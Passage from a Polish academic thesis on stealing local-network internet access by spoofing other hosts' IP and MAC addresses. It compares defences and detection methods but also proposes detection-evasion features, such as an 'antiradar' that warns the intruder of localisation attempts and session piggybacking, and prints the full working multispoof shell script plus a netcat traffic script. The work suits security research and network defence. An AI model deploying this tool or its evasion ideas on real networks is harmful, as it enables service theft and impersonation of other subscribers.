W następnych podrozdziałach zostaną przedstawione rozwiązania zabezpieczające dostęp do Internetu w sieci lokalnej przed użytkownikami, którzy fałszują adres źródłowy podając się za innych. Każde z nich (z wyjątkiem rozwiązań sprzętowych) będzie analizowane pod kątem spełniania powyższych warunków.

5.2.3 Autoryzujące serwery proxy

Wszystkie rodzaje proxy wymagają ręcznej konfiguracji każdej aplikacji na hostach klienckich. Dla SOCKS istnieją programy⁷⁰⁾, które ujednolicają ten proces, a także pozwalają na uruchamianie aplikacji, które nie mają obsługi tego protokołu. Jednak mimo tego wygoda korzystania z tego typu rozwiązań nie jest wysoka.

Bezpieczeństwo oferowane przez to rozwiązanie nie jest wysokie. Każde połączenie sieciowe jest osobną sesją (patrz poprzedni podrozdział), co powoduje, że użytkownik podczas normalnego korzystania z Internetu wykonuje ich bardzo wiele. Logowanie polega na wysłaniu nazwy użytkownika i hasła⁷¹⁾, zaś wylogowanie to zwykłe zakończenie połączenia. O ile taki sposób wylogowywania przy częstych sesjach nie stanowi dużego problemu⁷²⁾, to logowanie stanowi poważne zagrożenie, ponieważ poufne informacje są wysyłane w postaci jawnej. Dodatkowo, ze względu na dużą liczbę sesji w czasie, nazwa użytkownika i hasło pojawiają się w sieci często, co stanowi ułatwienie dla osoby, która zechciałaby wejść w posiadanie tych danych. Sama transmisja jest w pewien sposób zabezpieczona, ponieważ do każdego połączenia dodawane są informacje uwierzytelniające, co uniemożliwia podszywanie się bez ich znajomości. Jednak te informacje są dla każdego połączenia takie same, identyczne z danymi używanymi do logowania⁷³⁾ oraz łatwe w uzyskaniu.

5.2.4 Portale i Authpf

Oprogramowanie portalowe wchodzi w skład produktów komercyjnych⁷⁴⁾ oraz projektów Open Source⁷⁵⁾. Zaletą rozwiązań portalowych jest łatwość obsługi, ponieważ do uwierzytelnienia wystarcza przeglądarka www.

Podobną metodą uwierzytelniania użytkowników jest Authpf⁷⁶⁾. Różnica występuje w sposobie logowania. Zamiast korzystać z formularza www, użytkownik łączy się z serwerem operatora przez SSH i podaje nazwę użytkownika oraz hasło. Jeśli logowanie SSH przebiegnie pomyślnie adres użytkownika jest odblokowywany na firewallu tak jak w przypadku rozwiązania portalowego. Zakończenie połączenia SSH powoduje, że adres jest natychmiast blokowany z powrotem.

Bezpieczeństwo obu metod jest niskie. W przypadku rozwiązań portalowych największe ryzyko wiąże się z logowaniem do sesji. Większość rozwiązań nie stosuje bezpiecznego typu połączenia, tak więc dane użytkownika, takie jak login i hasło są przesyłane w postaci jawnej. Ochrona transmisji za pomocą mechanizmu SSL tylko częściowo rozwiązuje ten problem. Jest tak, ponieważ pierwsze połączenie, przekierowujące na stronę logowania odbywa się z wykorzystaniem protokołu HTTP⁷⁷⁾, który nie jest bezpieczny. Atakujący może przechwycić to połączenie⁷⁸⁾ i przekierować na serwer, który znajduje się pod jego kontrolą. Serwer ten może prezentować stronę logowania, która jest identyczna z oryginalną⁷⁹⁾. Sfabrykowana strona może nawet wykorzystywać bezpieczne połączenie HTTPS⁸⁰⁾, aby odróżnienie jej od prawdziwej było jeszcze bardziej utrudnione. Jeśli użytkownik zaloguje się wykorzystując fałszywą stronę logowania, oszust stanie się posiadaczem jego danych uwierzytelniających.

Logowanie w metodzie Authpf jest mniej podatne na zagrożenia, ponieważ domyślnie wykorzystuje bezpieczne połączenie SSH. Istnieje atak na ten typ połączeń, który pozwala na przechwycenie transmisji⁸¹⁾. Jednak jest on niezauważalny dla użytkownika tylko wtedy, gdy jest przeprowadzany w momencie logowania się po raz pierwszy. Próby ataków na kolejne połączenia skutkują wyraźnym ostrzeżeniem, które wyświetla klient SSH⁸²⁾.

Przy założeniu, że logowanie przebiegło w sposób bezpieczny, należy przyjrzeć się bezpieczeństwu transmisji w obrębie sesji. Zarówno rozwiązanie portalowe jak i Authpf nie zapewniają uwierzytelniania przesyłanych przez użytkownika danych. Powoduje to, że w trakcie trwania sesji, jeśli użytkownik jest nieaktywny, atakujący zmieniając adresy IP i MAC może korzystać z dostępu do Internetu.

Również obie metody nie zabezpieczają przed atakiem odmowy usług, związanym z nieautoryzowanym wylogowaniem się. W przypadku Authpf wystarczy, że atakujący przerwie sesję SSH. W metodzie opartej na portalu wylogowywanie odbywa się przez wysłanie odpowiedniego zapytania HTTP z adresu klienta, które może zostać sfałszowane przez atakującego.

5.2.5 VPN

Nawiązanie połączenia VPN odpowiada rozpoczęciu sesji przez użytkownika i przeprowadzeniu procesu logowania. Protokoły IPsec i OpenVPN posiadają mechanizmy uwierzytelniające, które wykorzystują silne algorytmy kryptograficzne. Protokoły PPTP i PPPoE nie wykorzystują tak mocnych metod, jednak w praktyce są trudne do złamania, jeśli wykorzystywane hasła są odpowiedniej długości.

Wszystkie protokoły zabezpieczają transmisje występujące w obrębie sesji użytkownika za pomocą szyfrowania. OpenVPN oraz PPTP wykorzystują długotrwałe połączenia TCP i UDP, co stwarza zagrożenie polegające na ich przerywaniu przez atakującego. Przerwanie połączenia powoduje wylogowanie użytkownika z sesji i konieczność ponownego logowania. IPsec przy wyłączonym mechanizmie uzgadniania klucza korzysta tylko z protokołów AH lub ESP, których nie da się zresetować, dlatego jest odporny na przerywanie sesji. PPPoE jest protokołem warstwy trzeciej, co także wyklucza resetowanie połączeń. Co więcej, zagrożenia związane z DHCP i ARP także jego nie dotyczą. Jedynym zagrożeniem, które autorowi udało się znaleźć w Internecie jest możliwość podszywania się pod serwer PPPoE na etapie połączenia⁹²⁾.

Decyzja o wdrożeniu autoryzacji użytkowników za pomocą technologii VPN musi uwzględniać dostępność klientów poszczególnych protokołów w używanych systemach operacyjnych. System GNU/Linux, a także wolne systemy z rodziny BSD obsługują wszystkie rodzaje wirtualnych sieci prywatnych, które zostały wymienione w tym podrozdziale. W przypadku systemów Microsoftu, w chwili pisana tego opracowania, sytuacja wygląda inaczej dla każdego protokołu. Istnieje wiele implementacji IPsec, jednak większość z nich jest płatna⁹³⁾. Systemy Windows 2000/XP mają wbudowaną obsługę L2TP tunelowanego przez IPsec, Microsoft udostępnia bez opłat to oprogramowanie w wersji dla Windows 9x/ME. OpenVPN działa w Windows 2000/XP, jednak nie obsługuje starszych systemów z Redmond. Protokół PPTP jest wbudowany we wszystkie wersje Windows, poczynając od wersji 95. PPPoE jest wbudowany w Windows 2000/XP, jednak oferowana obsługa szyfrowania jest niestabilna⁹⁴⁾, co wymusza korzystanie z zewnętrznych klientów. Dostępne są RASPPPOE⁹⁵⁾ oraz WinPoET⁹⁶⁾. Mimo, że RASPPPOE można pobrać bezpłatnie z Internetu, to nie można go wykorzystywać do zastosowań biznesowych, a takim najczęściej jest świadczenie dostępu do Internetu. WinPoET jest oprogramowaniem w pełni komercyjnym.

Istnieje wiele implementacji serwerowych wszystkich wymienionych technologii VPN, zarówno komercyjnych⁹⁷⁾ jak i dystrybuowanych na zasadach Open Source. Są one na tyle popularne, że bez trudu można je znaleźć przy pomocy wyszukiwarki internetowej.

5.2.6 Metody pomocnicze

Ten podrozdział skupia się na technikach programowych, które pozwalają zabezpieczyć część prezentowanych metod przed większością ataków typu odmowa usług. Jedynym atakiem, którego nie udaremniają jest ten omówiony w podrozdziale 1.3.4, który wymaga zabezpieczeń sprzętowych bądź systemu wykrywania i alarmowania. Prezentowane poniżej techniki zwiększają także bezpieczeństwo słabych metod prewencyjnych, jak portale, Authpf oraz proxy.

5.2.7 Inteligentne przełączniki sieciowe

Ze względu na fakt, że powyższe metody są implementowane na poziomie przełączników sieciowych, są one wyjątkowo skuteczne. Ramki ze sfałszowanym adresem źródłowym są filtrowane natychmiast na przełączniku, co uniemożliwia ich dotarcie nie tylko do routera, ale nawet do innych hostów w sieci. To powoduje, że podszywanie się jest całkowicie niemożliwe i wszelkie związane z nim ataki (nawet ten opisany w podrozdziale 1.3.4) są udaremniane.

Jednak skuteczność przewyższająca wszystkie metody prewencyjne opisane w tym rozdziale jest okupiona wieloma wadami, związanymi z wdrożeniem i administracją. Obie metody wymagają rozlokowania inteligentnych przełączników we wszystkich węzłach sieci. Są one i zawsze będą (w szczególności sprzęt obsługujący standard 802.1x) droższe od typowych urządzeń niezarządzalnych. Pomijając jednorazowy koszt wdrożenia, należy brać pod uwagę koszty związane z wymianą uszkodzonych jednostek oraz kradzieże¹⁰¹⁾ i zabezpieczanie się przed nimi.

W przypadku metody Port Security, dochodzi do tego konieczność zarządzania konfiguracją przełączników, ponieważ każda fizyczna zmiana w sieci musi uwzględniać ich uaktualnienie. Jeśli wystąpią pomyłki lub istnieje potrzeba zdiagnozowania jakiegoś problemu sieciowego, filtrowanie w warstwie drugiej może skutecznie utrudniać pracę administratorom.

W przypadku metody 802.1x jej wdrożenie wymaga uruchomienia serwera RADIUS oraz konfigurację systemów klienckich. Istnieje wiele implementacji RADIUS, w tym dostępne na zasadach Open Source. Windows XP posiada wbudowanego klienta standardu 802.1x, zaś Microsoft udostępnił także klienta dla systemu Windows 2000. Starsze systemy wymagają zainstalowania oddzielnego, płatnego oprogramowania¹⁰²⁾. Dla systemów uniksowych dostępny jest program Xsupplicant¹⁰³⁾, dystrybuowany na zasadach Open Source.

6.1.1 Randomizacja

6.1.2 Symulacja normalnej aktywności

Drugą metodą, która ma na celu utrudnianie detekcji aplikacji multispoof jest zwiększanie podobieństwa między jej zachowaniami sieciowymi, a standardową aktywnością hostów fizycznych. Ideałem byłoby, gdyby każdy adres wykorzystywany w procesie podszywania się, był nie od odróżnienia zdalnie od prawdziwego hosta fizycznego. Wtedy metody wykrywania opisane w podrozdziałach 5.1.3 i 5.1.4 byłyby bezużyteczne.

Jedną z technik symulacji hosta fizycznego jest odpowiadanie na pakiety dotyczące standardowych usług, oraz komunikaty ICMP. W tym celu każdy host fizyczny musiałby zostać zbadany w celu zdalnego rozpoznania systemu operacyjnego, udostępnionych usług oraz innych zachowań sieciowych¹⁰⁷⁾, co prowadziłoby do stworzenia bazy profili komputerów pracujących w sieci. Profile te następnie byłyby ładowane do bazy programu honeyd¹⁰⁸⁾. Głównym zastosowaniem tej aplikacji jest tworzenie komputerów-pułapek, które imitują różne, słabo zabezpieczone systemy operacyjne. Maszyna z uruchomionym programem honeyd jest następnie podłączana do Internetu i ściśle monitorowana w celu obserwacji metod używanych przez włamywaczy [Piotrowski 2005].

Wykorzystanie tego programu w aplikacji multispoof odwraca role: to administrator sieci ma ulec wrażeniu, że ma do czynienia z prawdziwymi komputerami, a nie z oszustem, który tworzy tę iluzję. Każdy wirtualny host imitowałby host fizyczny o odpowiadającym mu adresie.

Kolejną techniką symulacji zachowania hosta fizycznego jest generowanie standardowych transmisji sieciowych, które pojawiają się przy zwyczajnym używaniu komputera. Mogą to być na przykład zapytania DHCP wysyłane na etapie uruchamiania systemu operacyjnego, zapytania ARP o adres routera oraz zapytania DNS. Te transmisje mogłyby, jak w poprzedniej technice, być badane dla każdego hosta fizycznego, a następnie generowane podczas wykorzystywania jego adresu w procesie podszywania się¹⁰⁹⁾.

6.1.3 Kontrola wykorzystania adresów

Metoda detekcji opisana w podrozdziale 5.1.7 jest bardzo skuteczna i nie da się przed nią całkowicie zabezpieczyć. Jednak proponowana zmiana zachowania aplikacji do pewnego stopnia pozwoli zmniejszyć nietypowe zachowania sieci, co spowoduje, że administrator może dłużej nie zauważać działań oszusta.

Pomysł polega na tym, aby aplikacja sama decydowała o zaprzestaniu podszywania się pod hosty, które mogą zostać włączone w bliskiej przyszłości. Wymagałoby to ciągłej analizy zachowania poszczególnych hostów i, na podstawie zgromadzonych danych, przewidywania kiedy dany host zostanie uruchomiony.

6.1.4 Antyradar

Jeśli pomimo zabezpieczeń przedstawionych w tym rozdziale, administrator zorientuje się, że w zarządzanej przez niego sieci działa aplikacja multispoof, to jego następnym krokiem będzie ustalenie na jakim komputerze została uruchomiona. Jeżeli sieć jest oparta na niezarządzalnych przełącznikach, to próby lokalizacji będą polegały na wyłączaniu kolejnych urządzeń, co zostało opisane dokładnie w podrozdziale 5.1.

Z punktu widzenia intruza, przydałby się mechanizm, który będzie ostrzegał przed próbami lokalizacji. Technicznie nie jest to skomplikowane i polega na ciągłym testowaniu, czy sieć nie została przerwana. Naiwnym sposobem mogłoby być sprawdzanie, czy router jest osiągalny, na przykład za pomocą komunikatów ICMP Echo Request lub ARP. Przebiegły administrator może jednak podczas procesu lokalizacji wysyłać na nie odpowiedzi, aby zmylić oszusta. Dlatego testowanie powinno odbywać się z wykorzystaniem metod, które uniemożliwiają podszywanie się¹¹⁰⁾, jak np. połączenia szyfrowane. Dodatkową zaletą będzie mniejsza podatność na wykrycie samego procesu testowania, jeśli do tego celu zostanie użyte zwyczajne połączenie HTTPS, na przykład z bankiem internetowym.

6.2.1 Metody warstwy trzeciej

Bardzo podobnie można przełamywać zabezpieczenie dostępu do Internetu w modelu portalowym. Metoda ta zazwyczaj nie wykorzystuje specjalnego połączenia, które musi być nawiązane przez cały czas trwania sesji, dlatego z reguły podszywanie się będzie prostsze niż w przypadku Authpf. Dodatkowo oszust, wykorzystując ARP Spoofing, może uniemożliwić użytkownikowi wylogowanie, dzięki czemu zapewni sobie nieprzerwane korzystanie z jego sesji.

6.2.2 Wykorzystywanie danych uwierzytelniających

Inną metodą jest przechwytywanie danych niezbędnych do rozpoczęcia sesji. Choć w przypadku metod wykorzystujących portal lub proxy wystarczy aktywny podsłuch, to aby przechwycić dane innych metod, wymagane są bardziej inwazyjne metody. Aby przejąć nazwę użytkownika i hasło połączeń SSH wykorzystywanych przez Authpf, konieczne jest przeprowadzenie ataku z wnętrza systemu (ang. Man in the Middle), zaś poznanie danych używanych w metodach opartych na wirtualnych sieciach prywatnych wymaga bezpośredniego ataku na host, który te dane przetrzymuje w swojej pamięci.

Kiedy oszust dysponuje już danymi uwierzytelniającymi, może używać ich w celu dostępu do Internetu jak zwykły użytkownik, z tą różnicą, że nie ponosi kosztów finansowych tej usługi. Jednak aby taki dostęp nie powodował konfliktów w sieci oraz aby możliwe było uzyskiwanie powiększonego pasma transmisyjnego, korzystne mogłoby być wykorzystanie w tym celu aplikacji multispoof. Wymagałoby to jednak wbudowania w program mechanizmów autoryzacji. W przypadku metody portalowej jest to stosunkowo proste, ponieważ wymaga tylko, aby przed rozpoczęciem podszywania się została wykonana procedura logowania dla danego hosta. Podobnie byłoby z wykorzystaniem metody Authpf, z tym że po uwierzytelnieniu połączenie musiałoby być utrzymywana dla każdego hosta, zaś w przypadku metody VPN, wszelkie transmisje należałoby enkapsulować w odpowiedni tunel.

Natomiast metoda wykorzystująca SOCKS 5 wymaga, aby każde połączenie używało tego protokołu, co wiązałoby się z poważnymi modyfikacjami aplikacji. Należałoby zrezygnować z koncepcji opartej na interfejsie wirtualnym tap i zastąpić ją lokalnym serwerem SOCKS. Użytkownik łączyłby się z nim, natomiast serwer przekazywałby te połączenia do serwera proxy operatora używając autentykacji.

6.2.3 Metody dodatkowo zabezpieczone

Jeśli dostęp do Internetu jest chroniony z wykorzystaniem jednej z metod prewencyjnych, zaś dodatkowo wprowadzone są zabezpieczenia warstwy drugiej, opisane w podrozdziale 5.2.6, to podszywanie się jest utrudnione. Dotyczy to korzystania z adresów hostów, które są w danej chwili aktywne. W tym podrozdziale zostanie pokazane, że stosowanie nawet obu tych technik na raz w celu zabezpieczenia słabej metody uwierzytelniania nie uniemożliwia kradzieży usługi dostępu do Internetu. Wymaga to jednak poważnych modyfikacji w aplikacji multispoof.

Współdzielenie dostępu do Internetu z nieświadomym tego użytkownikiem, jest możliwe w metodach portalowych i Authpf. W obu przypadkach należy wyszukiwać hosty, które są uwierzytelnione, jednak nie korzystają intensywnie z sieci zewnętrznej.

6.3.1 Tryby pracy

W obecnej wersji program zoptymalizowany jest pod kątem pobierania z Internetu danych w sposób masowy, tak szybko jak to możliwe. Jednak inne rodzaje aktywności sieciowej nie są tak dobrze obsługiwane. Aplikacja multispoof mogłaby oferować różne tryby pracy, w zależności od zadań, które użytkownik zamierza wykonywać.

Interaktywne korzystanie z globalnej sieci najlepiej funkcjonowałoby, gdyby w procesie podszywania się były wykorzystywane adresy tylko tych abonentów, którzy wykupili usługę najwyższej jakości. Wymagałoby to od aplikacji, aby była w stanie zmierzyć takie parametry sieciowe jak przepustowość i opóźnienia, które zapewniane są poszczególnym użytkownikom przez operatora.

W niektórych sytuacjach przydatny byłby tryb, który maksymalizuje anonimowość oraz zmniejsza prawdopodobieństwo wykrycia kosztem jakości dostępu. Mogłoby polegać to na podszywaniu się tylko pod jeden adres na raz. Aplikacja wprawdzie nie oferowałaby powiększonej przepustowości, ale korzystanie z cudzego adresu utrudniałoby śledzenie użytkownika programu. Dodatkowo wykorzystanie tylko jednego adresu nie budziłoby podejrzeń administratora sieci.

Ostatnim trybem byłoby maksymalne przyśpieszenie transmisji, nawet kosztem ułatwienia wykrycia. Użytkownik aplikacji aktywowałby ten tryb w przypadku zaistnienia nagłej potrzeby wykonania dużej transmisji tak szybko jak to możliwe. Aby zrealizować swoje zadanie, aplikacja multispoof mogłaby podszywać się pod wszystkie komputery, nawet te, które w danej chwili są aktywne.

6.3.2 Statystyki

Możliwość generowania różnego rodzaju statystyk z działania programu byłaby użyteczną funkcją. Użytkownik aplikacji mógłby analizować zależność od czasu takich informacji jak przepustowość łączną i dla każdego wykorzystywanego adresu, liczbę pakietów na sekundę, liczbę adresów, które biorą udział w procesie podszywania się itd. Pozwalałoby to na skuteczną ocenę wyników działania aplikacji.

6.3.3 Inne poprawki

Obecna wersja aplikacji multispoof nie może wykorzystywać więcej niż 100 adresów w procesie podszywania się. Poprzez współpracę z autorem modułu nth (opisanego w podrozdziale 3.5.2), należałoby go zmodyfikować tak, aby przełamać to ograniczenie. W tym celu niezbędna jest modyfikacja części rezydującej w jądrze, ponieważ używa ona liczników ośmiobitowych, które należałoby zastąpić szesnastobitowymi. Pozwoliłoby to na zwiększenie maksymalnej liczby adresów do ponad 65 tysięcy¹¹⁶⁾.

Kolejne poprawki to zlokalizowanie i usunięcie wycieku pamięci w komponencie netdb, oraz wprowadzenie zabezpieczenia przed niekorzystnym wpływem klienta DHCP na działanie aplikacji. To ostatnie polegałoby na dodaniu do skryptu multispoof reguł podsystemu Netfilter, które blokują ruch DHCP na interfejsie zewnętrznym.

Należałoby także wykonać dokładny profiling aplikacji, co pozwoliłoby zlokalizować te elementy, które w największym stopniu wpływają na wydajność.

6.4.1 Wykorzystywanie usługi wspólnie z użytkownikiem

Techniki detekcji opisane w tym podrozdziale mają zastosowanie w przypadku wykorzystywania uwierzytelniania metodą portalową oraz Authpf. Pozwalają wykryć pasożytnicze korzystanie z usługi dostępu do Internetu, z wykorzystaniem podszywania się pod aktywne hosty.

Wydaje się, że efektywne może być zastosowanie popularnego i stosunkowo bogatego zestawu metod wykrywania nielegalnego podziału łącza z wykorzystaniem translacji adresów. Nielegalny podział łącza polega na udostępnianiu usługi dostępu do Internetu innym użytkownikom. Efekty uboczne tego procederu są bardzo zbliżone do metody wykorzystywania adresu aktywnego hosta przez oszusta. Techniki te są dokładnie opisane w [Tomaszewski et al. 2005], [Zalewski 2001], [Zalewski 2002], [Kohno et al. 2005], zaś w Internecie można znaleźć gotowe narzędzia je implementujące¹¹⁷⁾.

Jeśli w sieci wdrożono metodę portalową lub Authpf bez dodatkowych zabezpieczeń w warstwie drugiej, to jednoczesne korzystanie z usługi może odbywać się z wykorzystaniem ataku ARP Spoofing. Atak ten wykazuje bardzo charakterystyczne objawy, które polegają m.in. na tym, że w sieci można obserwować większą liczbę adresów MAC niż IP. Istnieją narzędzia, które wykorzystują te słabości w celu wykrywania ataku¹¹⁸⁾.

Jeżeli oszust nie chce stosować ataku ARP Spoofing, obawiając się wykrycia, bądź nie ma takiej możliwości, ze względu na zaimplementowane w sieci dodatkowe zabezpieczenia w warstwie drugiej, może wykorzystywać metodę opartą na wprowadzaniu w błąd przełączników sieciowych (podrozdział 6.2.3). Jeśli używane w sieci przełączniki pozwalają na zdalny odczyt listy adresów MAC wraz z powiązanymi z nimi portami, to detekcja tego nadużycia jest stosunkowo prosta. Polega na periodycznym odpytywaniu przełącznika i sprawdzaniu, czy adresy MAC nie migrują między portami. Jeśli sytuacja taka ma miejsce często, to jest to niemal pewna oznaka, że w sieci jest aktywny oszust.

Powyższa technika jest jednak bezużyteczna w sieciach opartych na prostych, niezarządzalnych przełącznikach. W tym przypadku metoda detekcji jest bardziej skomplikowana i opiera się na badaniu strat transmisji. Straty te wynikają z faktu, że w momentach reasocjacji par MAC-Port na przełącznikach, ramki mogą płynąć nie do tego hosta, który na nie oczekuje. Powoduje to, że nawiązane połączenia są resetowane. Takie zachowanie nie jest typowe, dlatego jeśli występuje często, można przypuszczać, że w sieci działa oszust.

6.4.2 Przechwytywanie danych umożliwiających dostęp

A.1 Skrypt multispoof

            
#!/bin/sh

function usage
{
  echo "Usage:"
  echo "  multispoof [-fvh] [-a <age>] [-e <age>] [ -s <int>] [-t <name>] -i <iface>"
  echo ""
  echo "  -i iface  Uses given network interface"
  echo "  -t name   Assigns given name to tap device; default: $TAP_IFACE"
  echo "  -f        Starts with flushed cache; default: don't flush"
  echo "  -a        minimal age; default $MIN_AGE"
  echo "  -e        minimal test age; default $MIN_TEST_AGE"
  echo "  -s        arp scan interval; default $SCAN_INTERVAL"
  echo "  -d        Dummy mode, exits after initial setup"
  echo "  -v        Verbose mode"
  echo "  -h        Shows this help"
  echo "  -V        Displays the current version"
  echo ""
  echo "All time related options have to be specified in seconds."
  exit
}

# Sets up netfilter rules
function setup_nf_rules
{
  MULTISPOOF_SID=`ps -o sid= $$`

  iptables -t nat -N $MAIN_CHAIN 2> /dev/null
  iptables -t nat -N $SUB_CHAIN 2> /dev/null
  iptables -t nat -N $TEST_CHAIN 2> /dev/null
  iptables -t nat -F $MAIN_CHAIN
  iptables -t nat -F $SUB_CHAIN
  
  iptables -t nat -A $MAIN_CHAIN -o $TAP_IFACE -m owner \
    --sid-owner $MULTISPOOF_SID -j $TEST_CHAIN
  iptables -t nat -A $MAIN_CHAIN -j $SUB_CHAIN
  iptables -t nat -A $MAIN_CHAIN -j DROP
  iptables -t nat -D POSTROUTING -o $TAP_IFACE -j $MAIN_CHAIN \
     2>/dev/null
  iptables -t nat -I POSTROUTING -o $TAP_IFACE -j $MAIN_CHAIN
}

# Cleans up netcfilter rules
function clean_up_nf_rules
{
  iptables -t nat -D POSTROUTING -o $TAP_IFACE -j $MAIN_CHAIN \
        2> /dev/null
  iptables -t nat -F $MAIN_CHAIN
  iptables -t nat -F $SUB_CHAIN
  iptables -t nat -F $TEST_CHAIN
  iptables -t nat -X $MAIN_CHAIN
  iptables -t nat -X $SUB_CHAIN
  iptables -t nat -X $TEST_CHAIN
}

# Restores IP address and default gateway on network interface
function restore_iface_config
{
  ip addr add $SCAN_IP/$NETMASK dev $REAL_IFACE
  ip route add default via $GATEWAY_IP
}

# Signal handler - shutdowns app gracefully
function clean_up
{
  trap 15
  echo "multispoof: cleaning up"
  # Take down tap interface, so associated routes get cleaned
  ip link set $TAP_IFACE down
  # After tap interface is down, we can restore network config
  restore_iface_config 
  clean_up_nf_rules
  # Remove netdb temporary directory
  rm -rf $NDB_DIR
  # Kill all processes
  kill -SIGTERM -$$
}

function spoof_pipeline
{
  rx $REAL_IFACE "ip and not ether broadcast" tapio | \
  cmac unspoof $MIN_AGE $NDB_SOCKET | tapio $TAP_IFACE | \
  cmac spoof $MIN_AGE $NDB_SOCKET | tx $REAL_IFACE tapio
}

function scanarp_pipeline
{
  scanarp $NDB_SOCKET $SCAN_INTERVAL $SCAN_IP $SCAN_MAC | \
  tx $REAL_IFACE scanarp
}

function deta_pipeline
{
  rx $REAL_IFACE "ether broadcast or arp" deta | deta $NDB_SOCKET \
  $MIN_AGE | tx $REAL_IFACE deta
}

# Registers default mac in netdb
function register_mac
{
  local IFACE=$1
  local MAC=`ip link|grep -A 1 $IFACE | tail -n 1 | cut -d ' ' -f 6`
  if [ ! -z "$MAC" ]
  then
    ndbexec $NDB_SOCKET setvar defmac $MAC
  else
    echo "Problem getting mac address of interface $IFACE."
    kill $$
  fi
}

# Sets banned list in netdb
function set_variables
{
  local BANNED="$GATEWAY_IP:0.0.0.0:255.255.255.255"
  ndbexec $NDB_SOCKET setvar banned "$BANNED"
}

# Moves configuration from real interface to tap interface
function setup_ifaces
{
  local REAL=$1
  local TAP=$2
  local CIDR="$SCAN_IP/$NETMASK"
  ip addr flush dev $REAL 2> /dev/null
  ip addr add $CIDR dev $TAP
  ip link set $TAP up
  arp -i $TAP -s $GATEWAY_IP $GATEWAY_MAC
  ip route add default via $GATEWAY_IP
}

# Returns if given socket exist
function wait_for_socket
{
  local SOCKET=$1
  while [ ! -S "$SOCKET" ]
  do
    sleep 0.1
  done
}

# Returns if given network interface exist
function wait_for_iface
{
  local IFACE=$1
  while [ `ip link show dev $IFACE > /dev/null 2> /dev/null \
           || echo false` ]
  do
    sleep 0.1
  done
}

# Static configuration created by make
COMPONENTS_DIR=/usr/local/lib/multispoof
CACHE_FILE=/var/local/cache/multispoof/netdb.cache
VERSION=0.6.1

FLUSH_CACHE=""
VERBOSE_MODE=""
DUMMY_MODE=""
REAL_IFACE=""
TAP_IFACE="tap0"
# Defaults: all intervals and ages in seconds
# How long the host needs to be quiet to be considered as inactive.
MIN_AGE=300
# How often individual host should be tested.
MIN_TEST_AGE=3600
# How often natman should poll netdb
NATMAN_INTERVAL=5
# How often conncheck should poll netdb
CONNCHECK_INTERVAL=6
# How often scanarp should send arp requests
SCAN_INTERVAL=60

# Parse commandline parameters
while getopts Vdfvht:i:a:e:s: NAME
do
  case $NAME in
  f) FLUSH_CACHE="-f"
     ;;
  d) DUMMY_MODE="-d"
     ;;
  v) VERBOSE_MODE="-v"
     ;;
  i) REAL_IFACE="$OPTARG"
     ;;
  t) TAP_IFACE="$OPTARG"
     ;;
  a) MIN_AGE="$OPTARG"
     ;;
  e) MIN_TEST_AGE="$OPTARG"
     ;;
  s) SCAN_INTERVAL="$OPTARG"
     ;;
  V) echo "multispoof version $VERSION"
     exit
     ;;
  *) usage
     ;;
  esac
done

if [ -z "$REAL_IFACE" ]
then
  echo "multispoof: You need to specify interface to use."
  exit 1
fi

if [ ! -z "$VERBOSE_MODE" ]
then
  echo "multispoof: PID $$"
  echo "multispoof: Discovering network setup."
fi

GATEWAY_IP=`ip route | grep default | grep $REAL_IFACE | head -n 1 \
            | cut -d " " -f 3`
if [ -z "$GATEWAY_IP" ]
then
  echo "multispoof: Default gateway bound to specified interface required."
  exit 1
fi

_IP_ADDR=`ip addr show dev $REAL_IFACE | egrep "inet\ " | head -n 1 \
          | awk '{ print $2 }'`
SCAN_IP=`echo $_IP_ADDR | cut -d "/" -f 1`
if [ -z "$SCAN_IP" ]
then
  echo "multispoof: Couldn't get interface IP address."
  exit 1
fi

SCAN_MAC=`ip link show dev $REAL_IFACE | grep "link/ether" \
          | awk '{ print $2 }'`
if [ -z "$SCAN_MAC" ]
then
  echo "multispoof: Couldn't get interface MAC address."
  exit 1
fi

NETMASK=`echo $_IP_ADDR | cut -d "/" -f 2`
if [ -z "$NETMASK" ]
then
  echo "multispoof: Couldn't get interface netmask."
  exit 1
fi

GATEWAY_MAC=`/usr/sbin/arp -na $GATEWAY_IP | grep $REAL_IFACE \
             | tail -n 1 | cut -d " " -f 4 | grep ":"`
if [ -z "$GATEWAY_MAC" ]
then
  ping -c 1 -w 2 $GATEWAY_IP 2>&1 > /dev/null
  GATEWAY_MAC=`/usr/sbin/arp -na $GATEWAY_IP | grep $REAL_IFACE \
             | tail -n 1 | cut -d " " -f 4 | grep ":"`
fi
if [ -z "$GATEWAY_MAC" ]
then
  echo "multispoof: Couldn't obtain gateway\'s MAC address."
  exit 1
fi

if [ ! -z "$VERBOSE_MODE" ]
then
  echo "multispoof: Real interface: $REAL_IFACE, tap interface: $TAP_IFACE"
  echo "multispoof: Gateway ip: '$GATEWAY_IP' mac: '$GATEWAY_MAC'"
  echo "multispoof: Scan ip: '$SCAN_IP/$NETMASK' mac: '$SCAN_MAC'"
  echo "multispoof: Min age: $MIN_AGE, min test age: $MIN_TEST_AGE"
  echo "multispoof: Intervals - natman: $NATMAN_INTERVAL, conncheck: \
  $CONNCHECK_INTERVAL, scanarp: $SCAN_INTERVAL"
fi

if [ ! -z "$DUMMY_MODE" ]
then
  exit
fi

if [ `whoami` != "root" ]
then
  echo "multispoof: Root privileges required."
  exit 1
fi

NDB_DIR=`mktemp -td multispoof.XXXXXXXX` || FAIL=1
if [ ! -z "$FAIL" ]
then
  echo "multispoof: Couldn't create temporary directory."
  exit 1
fi
NDB_SOCKET="$NDB_DIR/socket"
MAIN_CHAIN="multispoof-main"
SUB_CHAIN="multispoof-sub"
TEST_CHAIN="multispoof-test"
TEST_SCRIPT="${COMPONENTS_DIR}/access-test"
PATH=$COMPONENTS_DIR:$PATH

trap clean_up 15 2

netdb $NDB_SOCKET $CACHE_FILE $FLUSH_CACHE &
wait_for_socket $NDB_SOCKET
set_variables
spoof_pipeline &
scanarp_pipeline &
deta_pipeline &
setup_nf_rules
natman $SUB_CHAIN $MIN_AGE $NATMAN_INTERVAL $NDB_SOCKET &
wait_for_iface $TAP_IFACE
register_mac $TAP_IFACE
setup_ifaces $REAL_IFACE $TAP_IFACE
conncheck $NDB_SOCKET $TEST_CHAIN $CONNCHECK_INTERVAL \
  $MIN_AGE $MIN_TEST_AGE $TEST_SCRIPT &

# Wait for all children processes.
wait

          

A.2 Skrypt generujący ruch sieciowy

            
#!/bin/sh

TEST_HOST=$1

function launch_netcat
{
  nc $TEST_HOST 19 > /dev/null &
}

function initial_launch
{
  i=200
  while [ $i -gt 0 ]
  do
    launch_netcat
    sleep 0.1
    i=$[ $i - 1 ]
  done
}

function clean_up
{
  trap 15
  trap 2
  /bin/kill -SIGTERM -$$
}

